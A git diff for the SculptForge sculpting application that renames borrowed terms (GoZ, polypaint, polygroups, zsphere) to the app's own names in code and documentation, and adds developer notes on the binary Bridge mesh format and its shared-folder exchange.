bgra[:, :3] = np.floor(c[:, ::-1] * 255.0 + 0.5).astype(np.uint8)
- parts.append(_section(TAG_POLYPAINT, bgra.tobytes(), len(c)))
+ parts.append(_section(TAG_VERTEXPAINT, bgra.tobytes(), len(c)))
if mask is not None:
m = np.clip(np.asarray(mask, dtype=np.float64), 0.0, 1.0)
parts.append(_section(TAG_MASK, np.floor((1.0 - m) * 65535.0 + 0.5).astype("<u2").tobytes(), len(m)))
if groups is not None:
g = np.asarray(groups, dtype=np.int64)
- if len(g) and (g.min() < 0 or g.max() > 0xFFFF): # GoZ groups are 16-bit: renumber 0, 1, 2...
+ if len(g) and (g.min() < 0 or g.max() > 0xFFFF): # Bridge groups are 16-bit: renumber 0, 1, 2...
g = np.unique(g, return_inverse=True)[1] & 0xFFFF
- parts.append(_section(TAG_POLYGROUPS, g.astype("<u2").tobytes(), len(g)))
+ parts.append(_section(TAG_FACEGROUPS, g.astype("<u2").tobytes(), len(g)))
parts.append(b"\0" * 16)
_write_atomically(path, b"".join(parts))
-class GozMesh:
- """A Bridge file read into Blender coordinates (see write_goz for the arrays)."""
+class BridgeMesh:
+ """A Bridge file read into Blender coordinates (see write_bridge for the arrays)."""
def __init__(self):
self.name = ""
@@ -323,12 +323,12 @@ class GozMesh:
self.groups = None
-def read_goz(path):
+def read_bridge(path):
with open(path, "rb") as f:
data = f.read()
if len(data) < 40 or data[:4] != MAGIC:
raise ValueError("Not a Bridge file: %s" % path)
- out = GozMesh()
+ out = BridgeMesh()
(name_len,) = struct.unpack_from("<I", data, 36)
if name_len >= 24 and 32 + name_len <= len(data):
out.name = data[56:32 + name_len].decode("ascii", "replace")
@@ -349,19 +349,19 @@ def read_goz(path):
if tag == TAG_VERTICES:
v = np.frombuffer(payload, dtype="<f4", count=records(12) * 3).reshape(-1, 3)
- out.positions = goz_to_blender(v)
+ out.positions = bridge_to_blender(v)
elif tag == TAG_FACES:
out.faces = np.frombuffer(payload, dtype="<u4", count=records(16) * 4).reshape(-1, 4).copy()
elif tag == TAG_UVS:
uv = np.frombuffer(payload, dtype="<f4", count=records(32) * 8).reshape(-1, 4, 2).astype(np.float64)
uv[:, :, 1] = 1.0 - uv[:, :, 1]
out.uvs = uv
- elif tag == TAG_POLYPAINT:
+ elif tag == TAG_VERTEXPAINT:
c = np.frombuffer(payload, dtype=np.uint8, count=records(4) * 4).reshape(-1, 4)
out.colors = c[:, 2::-1].astype(np.float64) / 255.0
elif tag == TAG_MASK:
out.mask = 1.0 - np.frombuffer(payload, dtype="<u2", count=records(2)).astype(np.float64) / 65535.0
- elif tag == TAG_POLYGROUPS:
+ elif tag == TAG_FACEGROUPS:
out.groups = np.frombuffer(payload, dtype="<u2", count=records(2)).astype(np.int64)
nv, nf = len(out.positions), len(out.faces)
if nv == 0 or nf == 0:
@@ -384,7 +384,7 @@ def read_goz(path):
def read_shapes(path):
"""A SculptForge blend shapes file (an object's sculpt layers, e.g. the 52 ARKit facial shapes): a list of
(name, weight, indices, offsets) with offsets (N, 3) in Blender's axes, world space, and the vertex count.
- The object's .GoZ then holds the base shape (every layer at zero)."""
+ The object's Bridge file then holds the base shape (every layer at zero)."""
with open(path, "rb") as f:
data = f.read()
if len(data) < 20 or data[:8] != b"SFSHAPES":
diff --git a/changes/fix-ip-purge-2.md b/changes/fix-ip-purge-2.md
new file mode 100644
index 00000000..400c5dec
--- /dev/null
+++ b/changes/fix-ip-purge-2.md
@@ -0,0 +1,14 @@
+---
+changed: Scripts, commands and file names use SculptForge's own names throughout (`part_*`, `forgesphere_*`,
+ `bridge_*`, `facegroup_*`, `load_litsphere`, `library_open`, `layout=classic`, `input_style classic`, the
+ `--facegroups` flag, the `SCULPTFORGE_LITSPHERE_PATH` variable). Scripts, macros, keymaps, radial menus, packs,
+ projects and preferences from older versions still load: their old names are read once and mapped to the new ones.
+ The old command-line flag and environment variable names are no longer read.
+removed: The library export plug-in for another sculpting app and opening its library files through it. A folder of
+ numbered Bridge files still opens as one scene.
+testers:
+ - Any OS: open a project saved with 0.10.x; Parts, face groups, vertex paint, the Lit Sphere and the Forge Spheres come back.
+ - Any OS: run a macro or script recorded with 0.10.x (it may use the old command names); it runs as before.
+ - Windows/macOS: File > Bridge > Send, then send back from the other app; File > Bridge > Receive updates the Parts.
+---
+fix/ip-purge-2: no third-party marks anywhere in the tree (docs/legal/trademarks.md is the only file that names them).
diff --git a/docs/architecture-attributes.md b/docs/architecture-attributes.md
index e5e99556..2828ddfa 100644
--- a/docs/architecture-attributes.md
+++ b/docs/architecture-attributes.md
@@ -7,16 +7,16 @@
|--------------|---------------------------|----------------|----------------------|
| `mask` | `std::vector<float>` | vertices | nothing masked |
| `colors` | `std::vector<glm::vec3>` | vertices | no vertex paint |
-| `polygroups` | `std::vector<uint32_t>` | triangles | every triangle in group 0 |
+| `facegroups` | `std::vector<uint32_t>` | triangles | every triangle in group 0 |
| `hidden` | `std::vector<uint8_t>` | triangles | all visible |
| `uvs` | `std::vector<glm::vec2>` | 3 x triangles | no UVs (corner order = triangle order) |
| `quadPartners` | `std::vector<uint32_t>` | triangles | no quads (`Mesh::kNoQuad` = a plain triangle) |
- Mask: 0 = free, 1 = fully masked. Colors: **linear** RGB 0..1 (OBJ/PLY convert from sRGB via
`srgbToLinear`/`linearToSrgb`; glTF COLOR_0 is already linear).
-- Read with `maskAt(v)`, `colorAt(v, fallback)`, `polygroupAt(t)`, `triangleHidden(t)`, `vertexHidden(v)`
+- Read with `maskAt(v)`, `colorAt(v, fallback)`, `facegroupAt(t)`, `triangleHidden(t)`, `vertexHidden(v)`
(all adjacent triangles hidden); safe on empty attributes. Write after `ensureMask()` /
- `ensureColors()` / `ensurePolygroups()` / `ensureHidden()`; `clearMask()` etc. free them again.
+ `ensureColors()` / `ensureFaceGroups()` / `ensureHidden()`; `clearMask()` etc. free them again.
- `rebuildTopology()` drops wrongly sized attributes (`sanitizeAttributes()`): fill them first.
## Quads
@@ -35,8 +35,8 @@ requires both halves to share a face group: what Wire shows as a quad and what e
## Telling the renderer
- Vertex attributes (mask, colors): `mesh.markDirty(v)` per vertex or `markAllDirty()`.
- Triangle attributes (hidden, face groups): set `mesh.facesDirty = true`.
-- `RenderSettings` (src/render/Renderer.h): `showPolypaint` (colors replace the base colour),
- `showMask` (masked areas darken), `showPolygroups` (`polygroupColor(id)`, same hash as the shader).
+- `RenderSettings` (src/render/Renderer.h): `showVertexPaint` (colors replace the base colour),
+ `showMask` (masked areas darken), `showFaceGroups` (`facegroupColor(id)`, same hash as the shader).
Hidden triangles are left out of the index buffer. Toggles live in the View menu.
## Preservation through topology changes
@@ -64,13 +64,13 @@ anything else that changes the vertex count flattens the stack (`sanitizePaintLa
## Undo (src/core/Undo.h)
`UndoRecord` holds sparse `UndoChannel`s: `positions` (layer target), `mask`, `colors`
-(per vertex), `hidden`, `polygroups` (per triangle), or a full `mesh` snapshot. Snapshots
+(per vertex), `hidden`, `facegroups` (per triangle), or a full `mesh` snapshot. Snapshots
(`Document::replaceMeshUndoable`) copy every attribute. Undo allocates a missing attribute
before restoring, so recording values of an empty attribute is fine.
- Strokes: inside `Sculptor::beginStroke/endStroke`, call `sculptor.recordMask(mesh, v)` /
`recordColor(mesh, v)` **before** writing `mesh.mask[v]` / `mesh.colors[v]`.
- Whole-attribute operations: `doc.undo.push(UndoRecord::captureMask(mesh, "Invert Mask"))`
- (also `captureColors`, `captureHidden`, `capturePolygroups`, optionally for a subset) before changing.
+ (also `captureColors`, `captureHidden`, `captureFaceGroups`, optionally for a subset) before changing.
## Brush hooks (src/core/Sculpt.h/.cpp)
- `vertexInfluence(mesh, v)` = 0 for fully hidden vertices, else `1 - mask`.
@@ -81,6 +81,6 @@ before restoring, so recording values of an empty attribute is fine.
- Picking: `BVH::raycast` skips hidden triangles, so `App::pick` never lands on them.
## Python and tests
-`doc.mask` (N,) float32, `doc.colors` (N,3) float32, `doc.polygroups` (M,) uint32, `doc.hidden` (M,)
+`doc.mask` (N,) float32, `doc.colors` (N,3) float32, `doc.facegroups` (M,) uint32, `doc.hidden` (M,)
uint8: copies, `None` when absent, assignable (`None` clears). New tests: add `tests/test_<feature>.cpp`
including `TestHarness.h` (`TEST`/`CHECK`); CMake globs it. See tests/test_attributes.cpp.
diff --git a/docs/blender.md b/docs/blender.md
index 4464bfb1..ec428e32 100644
--- a/docs/blender.md
+++ b/docs/blender.md
@@ -18,7 +18,7 @@ Blender exchange add-on by Daniel Grauer, JoseConseco and contributors; no GoB c
- **No sockets**: nothing to configure, nothing listening, works in sandboxes that allow files, and a crash on one
side leaves the other unaffected. Polling is a `stat` of one file a second.
-- **Bridge files** (integrations/bridge-plugin/PROTOCOL.md) already carry everything both sides keep per mesh: positions, triangles and quads,
+- **Bridge files** (docs/bridge-format.md) already carry everything both sides keep per mesh: positions, triangles and quads,
per-corner UVs, per-vertex vertex paint and mask, per-face face groups. SculptForge reads and writes it, and it is
simple to write from Python with numpy. A second mesh format was not needed.
@@ -31,8 +31,8 @@ override it in its preferences).
| Path | Written by | Contents |
|---|---|---|
-| `to_sculptforge/manifest.json` + `r<rev>_<k>.GoZ` | the add-on | what Blender sent |
-| `to_blender/manifest.json` + `r<rev>_<k>.GoZ` | SculptForge | what SculptForge sent |
+| `to_sculptforge/manifest.json` + `r<rev>_<k>.<ext>` | the add-on | what Blender sent |
+| `to_blender/manifest.json` + `r<rev>_<k>.<ext>` | SculptForge | what SculptForge sent |
| `app.json` | SculptForge, at start | `{"path": executable, "version": ...}`: the AppImage (`$APPIMAGE`), the `.app` bundle, or the binary |
| `alive.json` | SculptForge, every 2 s once `to_sculptforge/` exists | `{"pid": ..., "time": unix seconds}`; removed on exit |
@@ -52,7 +52,7 @@ Windows).
"sender_version": "4.2.3",
"time": 1761300000.5,
"objects": [
- {"name": "Suzanne.001", "file": "r12_000.GoZ",
+ {"name": "Suzanne.001", "file": "r12_000.<ext>",
"matrix_world": [[1, 0, 0, 0.5], [0, 1, 0, 0], [0, 0, 1, 2], [0, 0, 0, 1]]}
]
}
@@ -62,7 +62,7 @@ Windows).
it loaded last (not "greater": a deleted folder restarts at 1). It reads the revision once a
second rather than trusting file times (Windows copies keep them; FAT and network drives store them coarsely).
- `name` is the exact Blender object name (UTF-8); the Bridge file's own name is GoB's ASCII escape of it. In SculptForge
- it is the Part's `gozName` (shared with the Bridge; saved in projects), so the next send updates the same object.
+ it is the Part's `bridgeName` (shared with the Bridge; saved in projects), so the next send updates the same object.
- `file` must be a plain file name in the same folder (`..`, `/`, `\` and `:` are refused).
- `matrix_world` (Blender -> SculptForge only): the object's matrix, rows as Blender prints them, Z-up. The Bridge file
holds the mesh in object space. SculptForge places it with `A * M * A^-1` where `A` maps Blender
diff --git a/docs/bridge-format.md b/docs/bridge-format.md
new file mode 100644
index 00000000..6f959032
--- /dev/null
+++ b/docs/bridge-format.md
@@ -0,0 +1,116 @@
+# Bridge format notes (developers)
+
+SculptForge reads and writes **Bridge files**, a binary mesh format, and exchanges them with another sculpting
+application through a shared folder. The format notes below come from reading
+[GoB](https://github.com/JoseConseco/GoB), the open-source (GPL) Blender add-on by Daniel Grauer, JoseConseco and
+contributors. Its `gob_import.py`, `gob_export.py` and `paths.py` are the reference for this implementation. Many
+thanks to them. The exact bytes the format and the folder need (extension, header, folder and file names) are in
+`src/io/BridgeProtocol.h`; this page calls the extension `<ext>`.
+
+The Blender bridge ([blender.md](blender.md)) sends meshes to and from Blender as the same Bridge files.
+
+Code: `src/io/BridgeIO.h/.cpp` (format + exchange), `src/io/BridgeProtocol.h` (bytes), `src/io/StlIO.h/.cpp`,
+`src/io/BridgeCommands.cpp` (commands), `src/app/PanelBridge.cpp` (File > Bridge). Tests: `tests/test_bridge.cpp`.
+
+## Commands
+
+| Command | What it does |
+|---------|--------------|
+| `bridge_import path=` | Open a Bridge file (`open` does the same for Bridge files) |
+| `bridge_export path= [name=] [quads=true]` | Write a Bridge file; with several visible Parts, one `<stem>_<Part>.<ext>` each beside `path` |
+| `bridge_send [name=] [folder=] [launch=true] [app=]` | Send every visible Part through the shared folder (`name=` only for a single one) |
+| `bridge_receive [folder=]` | Load what the other application last sent: each object updates its Part (undoable) or becomes a new one |
+| `export_stl path=` | Binary STL of the visible Parts merged (`open` reads binary and ASCII `.stl`) |
+
+All of them are available in `sculptforge-cli`, the MCP server and Python, like every other command.
+
+## The Bridge file
+
+Everything is little-endian. After the header comes a list of sections. Each section is a `uint32` tag
+and a `uint32` length. The length counts the tag and length fields too, so `length - 8` bytes follow.
+Element sections (vertices, faces...) then hold a `uint64` count and `length - 16` payload bytes.
+
+| Offset / tag | Contents |
+|--------------|----------|
+| 0 | `kHeader` (26 bytes) + six `'.'` (0x2E) |
+| 32 | `uint32 1`, the tag of the object-name record |
+| 36 | `uint32 length` (= name length + 24), `uint64 1`, `kNamePrefix` (8 bytes) + ASCII name |
+| `0x1389` | mesh name record: length 20, `uint64 1`, `uint32 0` (skipped) |
+| `0x138A` | subdivision level records, 4 × `uint32` each (read for information only) |
+| `0x2711` | vertices: count, then `float32 x, y, z` each |
+| `0x4E21` | faces: count, then 4 × `uint32` indices; the 4th is `0xFFFFFFFF` for triangles |
+| `0x61A9` | UVs: face count, then 4 corners × `float32 u, v` per face (triangles pad with (0, 1)) |
+| `0x88B9` | vertex paint: vertex count (GoB writes it as `uint32` + `float32 0`), then `B, G, R, 0` bytes per vertex, sRGB |
+| `0x7532` | mask: count, then `uint16` per vertex, **65535 = unmasked, 0 = fully masked** |
+| `0x9C41` | face groups: face count, then a `uint16` id per face (GoB uses 65504 for "no group") |
+| `0xAFC9` / `0xD6D9` / `0xC351` | diffuse / displacement / normal map path (`uint64 1` + bytes); kept in `BridgeInfo`, not loaded |
+| `0x0000` | end of file: GoB writes 16 zero bytes |
+
+Unknown tags are skipped using their length. Section lengths are checked against the file size, and
+faces with out-of-range indices are dropped, so a broken file cannot read past its end.
+
+### Conventions and mapping to `sf::Mesh`
+
+- **Axes.** Bridge files are Y-down. GoB maps `(x, y, z)` to Blender `(x, z, -y)` (Z-up). In SculptForge's
+ Y-up space that is `(x, -y, -z)`, a 180° turn about X, which keeps the triangle winding. It is applied
+ on import and undone on export. GoB's default scale factor is 1, so no unit scaling is applied.
+- **Faces.** A quad `(a, b, c, d)` becomes two consecutive triangles, `(a, b, c)` and `(a, c, d)`, kept
+ paired as one quad (`Mesh::quadPartners`, so Wire shows the quad and sculpting, undo, subdivision and
+ projects keep it). On export every pair is written back as that quad, `(a, b, c, d)`, provided the two
+ halves share a face group and their UVs agree on the shared corners (`quads=false` turns this off). A mesh
+ received through the Bridge therefore goes back with its original quads. Meshes without kept quads (older
+ projects) fall back to pairing consecutive triangles of exactly that pattern. Degenerate triangles (e.g.
+ a quad with a repeated index) are dropped, and their quad partner becomes a plain triangle.
+- **UVs.** Bridge stores V downwards, and GoB flips V both ways by default. `Mesh::uvs` uses V up
+ (OpenGL/OBJ), so V is flipped on the way in and out. There are 3 corners per triangle, in triangle order.
+- **Vertex Paint.** The bytes are sRGB. `Mesh::colors` is linear, so they are converted with
+ `srgbToLinear`/`linearToSrgb`.
+- **Mask.** `Mesh::mask = 1 - value / 65535`. A section that masks nothing is dropped, so no memory is used.
+- **Face Groups.** The 16-bit ids are stored as they are in `Mesh::facegroups`. On export, ids above 65535
+ keep only their low 16 bits.
+- **Hidden faces.** Bridge has no hidden flag, so hidden triangles are exported like any others.
+- The object name (`BridgeInfo::name`) is remembered per Part (`Document::bridgeName` for the active one,
+ `Part::bridgeName` for the others, saved in projects), so `bridge_send` updates the object the
+ mesh came from and `bridge_receive` updates the SculptForge Part it was sent from.
+
+## The shared folder (Windows, macOS)
+
+Applications exchange Bridge files through a shared folder: `%PUBLIC%\<kVendorFolder>` on Windows and `kMacRoot`
+on macOS (`src/io/BridgeProtocol.h`). The other application doesn't run on Linux, so there is no default there: the
+commands explain this, Bridge files can still be imported and exported, and a custom folder (the `folder=`
+argument, or the field in File > Bridge), such as the same folder inside a Wine prefix, makes the exchange work.
+
+**Send** (`bridge_send`), following GoB's `GoB_OT_export.execute`. Every visible Part is one object, named after
+the Bridge name it came with, else its Part name (`bridgeObjectName`; duplicates get `_2`, `_3`...):
+
+1. Write `<kProjectsFolder>/Default/<Name>.<ext>` for each object, plus `<Name>.ztn`, which holds the object path
+ without its extension.
+2. Write those paths (forward slashes, no extension), one line per object in Part order, to the object list
+ (`<kInboxFolder>/<kObjectList>`).
+3. Write `kApplicationFile` = `SculptForge` and `kProjectPathFile` beside it.
+4. Register SculptForge: `<kAppsFolder>/SculptForge/<kInfoFile>` (`kInfoText`, the same keys as GoB writes) and
+ `kConfigFile` (`PATH = "<sculptforge executable>"`, written by the app).
+5. Tell the other application. If its notifier (`kNotifierWin` / `kNotifierMac` in the inbox folder) exists, it is
+ started, which makes a running application import the object list. Otherwise the newest install in the default
+ folders, or `app=`, is started, as GoB does; there, import from its own exchange button.
+
+**Receive** (`bridge_receive`), following GoB's `GoB_OT_import.execute`: read the object list, append `<ext>` to
+each line and load every object. Each object then:
+
+- replaces the mesh of the Part whose Bridge name matches (an undoable step in that Part's history),
+- or, for the first object when the scene is a single Part that didn't come through the Bridge (e.g. a new
+ scene), replaces that Part,
+- or else is added as a new Part named after the object.
+
+The active Part stays selected. `bridgeReceive(root, Mesh&)` still offers the objects merged into one mesh for
+callers that want that.
+
+In the app, **Receive automatically** checks the object list's modification time once a second and receives when
+it is rewritten, which is what GoB's auto-import timer does. Sending turns it on and remembers the file time of
+SculptForge's own write, so a send is never received back.
+
+## STL
+
+`open` reads binary STL and ASCII STL. A file is binary when its size is exactly `84 + 50 × count`,
+otherwise it must start with `solid`. Coincident corners are welded with `weldImported`. `export_stl`
+writes binary STL with facet normals. Positions are kept as stored, with no axis or unit conversion.
diff --git a/docs/design/studio-pipeline.md b/docs/design/studio-pipeline.md
index fc0898ea..9c47827a 100644
--- a/docs/design/studio-pipeline.md
+++ b/docs/design/studio-pipeline.md
@@ -95,7 +95,7 @@ they want to sculpt fixes *on* a pose and send back a clean delta in the bind sp
|---|---|---|
| USD export | `.usda`/`.usdz` written without the SDK: one `Mesh` per Part under a root Xform, UVs as face-varying `primvars:st`, `displayColor`, UsdPreviewSurface (clay/painted/textured), sculpt layers as UsdSkel blend shapes on a joint-less Skeleton with a `SkelAnimation` (time-sampled face takes), Gaussian splats as `ParticleField3DGaussianSplat`. Checked with `usdchecker` 26.08. | `src/io/UsdIO.*` |
| USD import | `.usda` and text-root `.usdz`: meshes, xform ops, Z-up, UVs, blend shapes, splats. **No `.usdc`, no references or payloads, no variants.** | `src/io/UsdIO.*` |
-| Other formats | FBX read (ufbx, any version) and write (7.4 binary, blend shapes, LOD groups); glTF/GLB (morph targets, `KHR_gaussian_splatting`, Khronos-validated); OBJ, PLY, STL (mm, Z-up), .Bridge files | `src/io/` |
+| Other formats | FBX read (ufbx, any version) and write (7.4 binary, blend shapes, LOD groups); glTF/GLB (morph targets, `KHR_gaussian_splatting`, Khronos-validated); OBJ, PLY, STL (mm, Z-up), Bridge files | `src/io/` |
| VFX-RP builds | CY2026 (Rocky 8, glibc 2.28) and CY2027 (Rocky 9, glibc 2.34) tarballs, x86_64 and ARM64; CI checks glibc symbols; dependencies static (SDL3, ImGui, GLM, ufbx) | CI, `docs/studios.md` |
| rez | `packaging/rez/package.py`: `PATH`, `PYTHONPATH`, `SCULPTFORGE_ROOT`, studio brush share | `packaging/rez/` |
| Python | `import sculptforge`: `Document`, `run`, `run_script`, `commands()`, NumPy vertices and triangles, layers and deltas; releases the GIL | `src/python/module.cpp` |
@@ -435,7 +435,7 @@ Effort: about 0.75 w once AI tools ships (policy and choke points 0.4, UI/report
These go out with the next release's lockstep, alongside the guide and site.
**Files and code.**
-- File parsers (OBJ, FBX, glTF, PLY, USD/USDZ, images, .Bridge files, brushes, packs) are tested against hostile and
+- File parsers (OBJ, FBX, glTF, PLY, USD/USDZ, images, Bridge files, brushes, packs) are tested against hostile and
malformed files, including fuzzer-found cases (`tests/test_malformed_files.cpp`). *(P1)* Continuous fuzzing in CI. Bridges exchange files through one folder, checked strictly (no paths outside it, no
links, size limits), and nothing in the folder is ever executed.
- No plug-ins from the network. Packs are reviewed and installed by the user, never by an AI agent. Studio
diff --git a/docs/guide/baking.md b/docs/guide/baking.md
index 9a988a70..22985da6 100644
--- a/docs/guide/baking.md
+++ b/docs/guide/baking.md
@@ -129,7 +129,7 @@ on the same computer; for one on another computer, import the PNG by hand. See
| Command | What it does |
|---|---|
-| `bake` | Bake onto the active Part and write the maps. Options: `source=all`, a Part name, `subdivision` or `micro`, `maps=normal,object_normal,displacement,ao,cavity,color,curvature,thickness,position,id` (or `all`), `udim=true`, `thickness_rays=24`, `thickness_distance=0.1`, `curvature_radius=0.02`, `id=polygroups` or `parts`, `size=2048` (512 to 8192, or `1k`...`8k`), `out=folder`, `name=prefix`, `front=0.02` and `rear=0.02` (fractions of the model's size, or `auto`), `samples=2`, `padding=8`, `ao_rays=48`, `ao_distance=0.05`, `green=opengl` or `directx`, `displacement_scale=` (world units at white), `exr=true` |
+| `bake` | Bake onto the active Part and write the maps. Options: `source=all`, a Part name, `subdivision` or `micro`, `maps=normal,object_normal,displacement,ao,cavity,color,curvature,thickness,position,id` (or `all`), `udim=true`, `thickness_rays=24`, `thickness_distance=0.1`, `curvature_radius=0.02`, `id=facegroups` or `parts`, `size=2048` (512 to 8192, or `1k`...`8k`), `out=folder`, `name=prefix`, `front=0.02` and `rear=0.02` (fractions of the model's size, or `auto`), `samples=2`, `padding=8`, `ao_rays=48`, `ao_distance=0.05`, `green=opengl` or `directx`, `displacement_scale=` (world units at white), `exr=true` |
For example, from the console or `sculptforge-cli`:
diff --git a/docs/guide/blender.md b/docs/guide/blender.md
index 279bcc76..521b9f17 100644
--- a/docs/guide/blender.md
+++ b/docs/guide/blender.md
@@ -147,7 +147,7 @@ SculptForge's VDM brushes and Blender's use the same maps (see
The two programs share a folder in your user data: `~/.local/share/SculptForge/SculptForge/blender` on Linux,
`%APPDATA%\SculptForge\SculptForge\blender` on Windows, `~/Library/Application Support/SculptForge/SculptForge/blender`
-on macOS. Each side writes its meshes there as `.GoZ` files with a
+on macOS. Each side writes its meshes there as Bridge files with a
small list of the objects, and checks the other side's list once a second. Nothing goes over the network.
To use another folder, set it in the add-on's preferences and start SculptForge with the environment variable
diff --git a/docs/guide/exporting.md b/docs/guide/exporting.md
index 63bb1ff0..590155c4 100644
--- a/docs/guide/exporting.md
+++ b/docs/guide/exporting.md
@@ -199,9 +199,8 @@ application's own exchange plug-in does, on Windows and macOS. The commands are
| **Export Bridge file...** | Writes a Bridge file. With several visible Parts, one file per Part next to the path |
| **Export STL...** | Writes a binary STL of the visible Parts |
-The default bridge folder and the one-time setup are on the
-[Bridge setup page](https://github.com/islandmed/SculptForge/blob/main/integrations/bridge-plugin/README.md). On
-Linux the Bridge needs a custom folder; Bridge files still import and export.
+On Windows and macOS the Bridge finds the shared exchange folder by itself; nothing to install. On Linux it needs a
+custom folder; Bridge files still import and export.
### A round trip
@@ -217,7 +216,7 @@ format has no hidden-face flag, so hidden faces are sent like any others.
> **Note:** the Bridge is tested with files, not yet against every version of a live application. If a send does
> not arrive, export a Bridge file and import it by hand, and please report it (**Help > Report a problem**).
-From scripts: `goz_export path=`, `goz_import path=`, `goz_send`, `goz_receive` and `export_stl path=` (see
+From scripts: `bridge_export path=`, `bridge_import path=`, `bridge_send`, `bridge_receive` and `export_stl path=` (see
[3D printing](#3d-printing) for its options).
## Blender
diff --git a/docs/guide/face-groups.md b/docs/guide/face-groups.md
index c02532f0..c62da524 100644
--- a/docs/guide/face-groups.md
+++ b/docs/guide/face-groups.md
@@ -29,12 +29,12 @@ groups. So you can isolate one part and regroup just that part.
| Control | What it does | Command |
|---|---|---|
-| **By normals** | A new group wherever the surface turns more than the angle next to it (1 to 90 degrees, default 30). Each flat side of a box becomes its own group. | `polygroup_auto_by_normals` |
-| **By pieces** | One group per disconnected piece, such as separate eyes or buttons in one mesh. | `polygroup_by_connectivity` |
-| **From mask** | Masked triangles move into a new group. | `polygroup_from_mask` |
-| **Group by UVs** | One group per UV island: triangles that touch without a UV seam between them share a group. Needs UVs (**Tool > Texture Map > Auto UV** or an imported model's). | `polygroup_uv` |
-| **Merge visible** | Everything visible becomes one group. | `polygroup_merge_visible` |
-| **Clear groups** | Remove all face groups; the whole Part becomes one group again. | `polygroup_clear` |
+| **By normals** | A new group wherever the surface turns more than the angle next to it (1 to 90 degrees, default 30). Each flat side of a box becomes its own group. | `facegroup_auto_by_normals` |
+| **By pieces** | One group per disconnected piece, such as separate eyes or buttons in one mesh. | `facegroup_by_connectivity` |
+| **From mask** | Masked triangles move into a new group. | `facegroup_from_mask` |
+| **Group by UVs** | One group per UV island: triangles that touch without a UV seam between them share a group. Needs UVs (**Tool > Texture Map > Auto UV** or an imported model's). | `facegroup_uv` |
+| **Merge visible** | Everything visible becomes one group. | `facegroup_merge_visible` |
+| **Clear groups** | Remove all face groups; the whole Part becomes one group again. | `facegroup_clear` |
Each button is one undo step.
@@ -130,15 +130,15 @@ Group the model, then click **Split groups** in **Tool > Parts**: each face grou
| Command | Options |
|---|---|
-| `polygroup_auto_by_normals` | `angle` (1-180 degrees, default 30) |
-| `polygroup_by_connectivity`, `polygroup_uv`, `polygroup_from_mask`, `polygroup_merge_visible`, `polygroup_clear` | |
-| `isolate_polygroup`, `hide_polygroup` | `group` (required): the face group id |
+| `facegroup_auto_by_normals` | `angle` (1-180 degrees, default 30) |
+| `facegroup_by_connectivity`, `facegroup_uv`, `facegroup_from_mask`, `facegroup_merge_visible`, `facegroup_clear` | |
+| `isolate_facegroup`, `hide_facegroup` | `group` (required): the face group id |
| `show_all`, `invert_visibility`, `delete_hidden` | |
| `hide_rect` | `x0 y0 x1 y1` (-1 to 1, y up), `inside`, optional `view_proj` matrix; without a view the rectangle spans the mesh seen from the front |
| `hide_lasso` | `points` (required): the outline as `"x0 y0 x1 y1 ..."`, at least 3 points in the same -1 to 1 space; `inside`, `view_proj` as for `hide_rect` |
When you isolate or hide a group in the viewport, the console (<kbd>`</kbd>) shows the command with the group's
-id, for example `isolate_polygroup group=3`, which you can reuse in scripts.
+id, for example `isolate_facegroup group=3`, which you can reuse in scripts.
```sh
sculptforge-cli -c 'open path=robot.obj; face group_by_connectivity; part_split_groups; save_project path=robot.sfproj'
diff --git a/docs/guide/facial-shapes.md b/docs/guide/facial-shapes.md
index 30044605..f483edaf 100644
--- a/docs/guide/facial-shapes.md
+++ b/docs/guide/facial-shapes.md
@@ -182,7 +182,7 @@ the jaw's). Apple's ARKit, Unreal's Live Link Face and most face-capture tools d
| Command | What it does |
|---|---|
-| `face_shapes_generate [landmarks=<json>] [symmetry=auto/on/off] [subtools=true] [level=N]` | Generate Facial Shapes on the active Part |
+| `face_shapes_generate [landmarks=<json>] [symmetry=auto/on/off] [parts=true] [level=N]` | Generate Facial Shapes on the active Part |
| `face_landmarks_detect` | the automatic landmarks, as the JSON `landmarks=` takes |
| `face_weights json=<json>` | set shape weights (live) |
| `face_preset name=Smile [amount=1]` | show a preset |
diff --git a/docs/guide/forge-spheres.md b/docs/guide/forge-spheres.md
index 813e0c1a..1ec1d3f5 100644
--- a/docs/guide/forge-spheres.md
+++ b/docs/guide/forge-spheres.md
@@ -49,7 +49,7 @@ Everything also works with the pointer alone, without a key held (#8):
- **Right click** a sphere (a click, not a drag: a right drag still turns the view) for a menu with **Delete
Sphere**, **Insert Between** and **Set as Root**.
-Each is one undo step, and Symmetry mirrors Delete and Insert. From a script: `zsphere_set_root index=3`.
+Each is one undo step, and Symmetry mirrors Delete and Insert. From a script: `forgesphere_set_root index=3`.
## Preview the skin
@@ -74,13 +74,13 @@ Make Mesh again. The armature is saved with the project.
## Scripting
-The same operations are commands (see [Scripting](scripting.md)): `zsphere_new`, `zsphere_list`, `zsphere_add`,
-`zsphere_set`, `zsphere_delete`, `zsphere_insert`, `zsphere_preview` and `zsphere_make_mesh`. For example, a
+The same operations are commands (see [Scripting](scripting.md)): `forgesphere_new`, `forgesphere_list`, `forgesphere_add`,
+`forgesphere_set`, `forgesphere_delete`, `forgesphere_insert`, `forgesphere_preview` and `forgesphere_make_mesh`. For example, a
simple figure:
```
-zsphere_new radius=0.5
-zsphere_add parent=0 position=0,0.8,0 radius=0.3
-zsphere_add parent=0 position=0.9,0.1,0 radius=0.2 symmetry=x
-zsphere_make_mesh resolution=160
+forgesphere_new radius=0.5
+forgesphere_add parent=0 position=0,0.8,0 radius=0.3
+forgesphere_add parent=0 position=0.9,0.1,0 radius=0.2 symmetry=x
+forgesphere_make_mesh resolution=160
```
diff --git a/docs/guide/geometry.md b/docs/guide/geometry.md
index 5c6beaa4..9c4728c8 100644
--- a/docs/guide/geometry.md
+++ b/docs/guide/geometry.md
@@ -201,7 +201,7 @@ each of them. Before a big change on a heavy sculpt:
| `subdivide` | `levels` 1-4 (default 1) |
| `remesh` | `resolution` 32-512 voxels across the longest side (default 200); `keep_texture` (default true) |
| `decimate` | `ratio` 0.01-1 of the triangles to keep (default 0.5), or `triangles` for an exact target |
-| `qremesh` | `target` quads (default 5000), `adaptive`, `keep_groups`, `detect_edges`, `use_polypaint`, `symmetry`, `keep_original`, `keep_texture`; see [Quad retopology](retopology.md#scripting) |
+| `qremesh` | `target` quads (default 5000), `adaptive`, `keep_groups`, `detect_edges`, `use_vertexpaint`, `symmetry`, `keep_original`, `keep_texture`; see [Quad retopology](retopology.md#scripting) |
| `close_holes` | `max_edges` closes only holes with at most that many boundary edges (default 0: all); `refine` (default true; false: as few triangles as possible); `new_group` (default true) |
